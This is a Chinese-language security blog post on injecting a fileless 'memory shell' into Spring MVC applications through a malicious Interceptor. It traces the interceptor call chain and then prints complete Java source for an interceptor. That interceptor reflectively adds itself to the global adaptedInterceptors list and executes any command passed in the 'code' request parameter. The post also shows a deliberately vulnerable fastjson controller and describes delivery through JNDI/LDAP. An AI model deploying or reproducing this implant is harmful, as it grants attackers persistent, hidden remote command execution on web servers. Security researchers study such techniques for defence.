针对Spring MVC的Interceptor内存马

1 基础拦截器和调用流程的探索

学习、探索和实现过程很多都基于大佬的文章https://landgrey.me/blog/19/ https://landgrey.me/blog/12/

1.1 基础拦截器

前不久实现cotroller内存马能添加冰蝎代码后,又想到spring mvc的拦截器应该也可以用于注入内存马,目前的关键点在于找到拦截器是如何被触发以及如何动态添加拦截器

首先来写个正常的拦截器TestInterceptor类,并添加xml配置



然后启动程序,在访问/home/index,并添加code参数弹个计算器

1.2 探索拦截器的调用链

断点打在TestInterceptor类中,调试看看调用链

preHandle:31, TestInterceptor (bitterz.interceptors)
applyPreHandle:134, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:956, DispatcherServlet (org.springframework.web.servlet)
doService:895, DispatcherServlet (org.springframework.web.servlet)
processRequest:967, FrameworkServlet (org.springframework.web.servlet)
doGet:858, FrameworkServlet (org.springframework.web.servlet)
service:621, HttpServlet (javax.servlet.http)
service:843, FrameworkServlet (org.springframework.web.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:305, ApplicationFilterChain (org.apache.catalina.core)
doFilter:210, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:947, AccessLogValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:312, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

关键点在doDispatch方法,先通过getHandler方法获取了mappedHandler对象

在后方调用mappedHandler的applyPreHandler方法

这个方法中就是依次调用每个interceptor实例的preHandle方法,实际上就进入了前面写好的TestInterceptor类的preHandle方法中。

1.3 探索拦截器是如何被添加的

跟踪mappedHandler的获取过程,先是调用了org.springframework.web.servlet.DispatcherServlet中的getHandler方法

跟进getHandler方法,这里会遍历this.handlerMappings,获取HandlerMapping的实例,再调用getHandler方法

这里断点跟进getHandler函数处,会发现实际上调用了org.springframework.web.servlet.handler.AbstractHandlerMapping类中的getHandler方法

再跟进getHandlerExecutionChain方法,发现其中会遍历adaptedInterceptors这数组,并判断获取的interceptor实例是不是MappedInterceptor类的实例对象,而MappedInterceptor类就是对拦截器HandlerInterceptor接口的实现,所以前面定义的TestInterceptor自然会被加入chain中并返回

至此,拦截器的加载和调用流程就清楚了, 动态添加拦截器的话,只需要在org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象的adaptedInterceptors数组中添加恶意interceptor实例对象即可!

那么关键就在于找到org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象,CTRL+ALT+B找到所有AbstractHandlerMapping的子类,并在beanFactory的beanDefinitionNames中找到它的实例org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping

因此可以通过context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")获取该对象,再反射获取其中的adaptedInterceptors属性,并添加恶意interceptor实例对象即可完成内存马的注入

2 实践

首先用springmvc 写了一个包含fastjson的反序列化漏洞的controller

    @RequestMapping(value = "/postjson", method = RequestMethod.GET)
public String postJson(HttpServletRequest request){
return "postjson";
} @RequestMapping(value = "/readjson", method = RequestMethod.POST)
public String readJson(HttpServletRequest request){
String jsonStr = request.getParameter("jsonstr");
System.out.println(jsonStr); // 在控制台输出jsonStr Object obj = JSON.parseObject(jsonStr);
System.out.println(obj); // 等同于数据操作 return "readjson"; // 返回一个页面给用户
}

访问/postjson,并提交payload,而payload会发送到/readjson处,被fastjson反序列化,触发JNDI注入造成内存马的注入。首先开启LDAP和python服务,编译恶意Interceptor类

恶意Interceptor类源代码如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// 获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从context中获取AbstractHandlerMapping的实例对象
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重复添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("已经添加过TestInterceptor实例了");
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环
adaptedInterceptors.add(aaa); // 添加全局interceptor
} private TestInterceptor(String aaa){} @Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
// 不干扰正常业务逻辑
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
else {
return true;
}}}

这里提交两次payload是为了确认:不重复添加interceptor的代码生效了

可见Interceptor内存马已经注入了,现在弹个计算器验证一下

针对Spring MVC的Interceptor内存马的更多相关文章

  1. 针对spring mvc的controller内存马-学习和实验

    1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...

  2. spring MVC使用Interceptor做用户登录判断

    在任何一个项目中,我们必须要用到的就是用户登录,那么就少不了用户是否登录的判断,如果我们每一个请求都要去做一次判断,那么就会变得很麻烦,但我们复制粘贴的时候我们就要考虑我们的代码写的是不是有问题,是不 ...

  3. 利用Fastjson注入Spring内存马

    此篇文章在于记录自己对spring内存马的实验研究 一.环境搭建 搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller ...

  4. Java安全之Spring内存马

    Java安全之Spring内存马 基础知识 Bean bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化.配置.组装和管理的对象. ...

  5. 通过拦截器Interceptor实现Spring MVC中Controller接口访问信息的记录

    java web工程项目使用了Spring+Spring MVC+Hibernate的结构,在Controller中的方法都是用于处理前端的访问信息,Controller通过调用Service进行业务 ...

  6. Spring MVC 过滤静态资源访问

    过滤的必要性 一般来说,HTTP 请求都会被映射到 DispatcherServlet,进而由具体的类来承接处理,但对于类似 js 或者 css 这样的静态资源则没必要这样,因为对资源的获取只需返回资 ...

  7. 从一个简单案例上手Spring MVC,同时分析Spring MVC面试问题

    很多公司都会用Spring MVC,而且初级程序员在面试时,一定会被问到这方面的问题,所以这里我们来通过一个简单的案例来分析Spring MVC,事实上,我们在培训中就用这个举例,很多零基础的程序员能 ...

  8. Spring MVC深入学习

    一.MVC思想 MVC思想简介:        MVC并不是java所特有的设计思想,也不是Web应用所特有的思想,它是所有面向对象程序设计语言都应该遵守的规范:MVC思想将一个应用部分分成三个基本部 ...

  9. spring mvc 启动过程及源码分析

    由于公司开源框架选用的spring+spring mvc + mybatis.使用这些框架,网上都有现成的案例:需要那些配置文件.每种类型的配置文件的节点该如何书写等等.如果只是需要项目能够跑起来,只 ...

随机推荐

  1. 数据结构(3):java使用数组模拟堆栈

    堆栈原理: 数组模拟堆栈: //数组模拟栈 class ArrayStack{ //栈顶 private int top = -1; private int maxSize; private int[ ...

  2. 035- 控制语句_break和continue

    break break是java语言中的关键字,中文是打断,终止的意思 可以用在switch语句中,结束分支语句,防止case穿透现象的发生. 可以出现在循环当中,作用是结束整个循环的执行,默认情况下 ...

  3. 4.1-web前端性能测试基础概述

    网站性能概述 1.网站架构通常分为前端和后台. 2.后台是实现网站功能的,比如:实现用户注册,用户能够为文章发表评论等等. 3.前端属于功能的表现,并且影响用户访问体验的绝大部分来自己前端页面. 4. ...

  4. php连接MySQL数据库的三种方式(mysql/mysqli/pdo)

    引言 PHP与MySQL的连接有三种API接口,分别是:PHP的MySQL扩展 .PHP的mysqli扩展 .PHP数据对象(PDO) ,下面针对以上三种连接方式做下总结,以备在不同场景下选出最优方案 ...

  5. hdu1960 最小路径覆盖

    题意:       给你明天的出租车订单,订单中包含每个人的起点和终点坐标,还有时间,如果一辆出租车想接一个乘客必须在每个订单前1分钟到达,也就是小于等于time-1,问你完成所有订单要最少多少量出租 ...

  6. 一种用于 API 的查询语言-GraphQL

    GitHub地址 官网地址 中文网址

  7. 多线程-2.线程创建方式和Thread类

    线程的创建方式 1.继承Thread类,重写run方法,示例如下: 1 class PrimeThread extends Thread { 2 long minPrime; 3 PrimeThrea ...

  8. locustfile中的User类和HttpUser类

    locustfile是什么? locustfile是Locust性能测试工具的用户脚本,描述了单个用户的行为. locustfile是个普通的Python模块,如果写作locustfile.py,那么 ...

  9. .NET Core 基于 Grafana Loki 日志初体验

    介绍 Loki: like Prometheus, but for logs. Loki是一个轻量级的日志系统,受到Prometheus项目的启发,由Grafana团队设计和开发,所以在Grafana ...

  10. mxgraph中mxStencil使用教程

    目录 标签嵌套关系 Shapes shape connections background foreground 其他样式 图形内部颜色绘制 封闭线段绘制 设置一条线的颜色大小 样例 官方文档:htt ...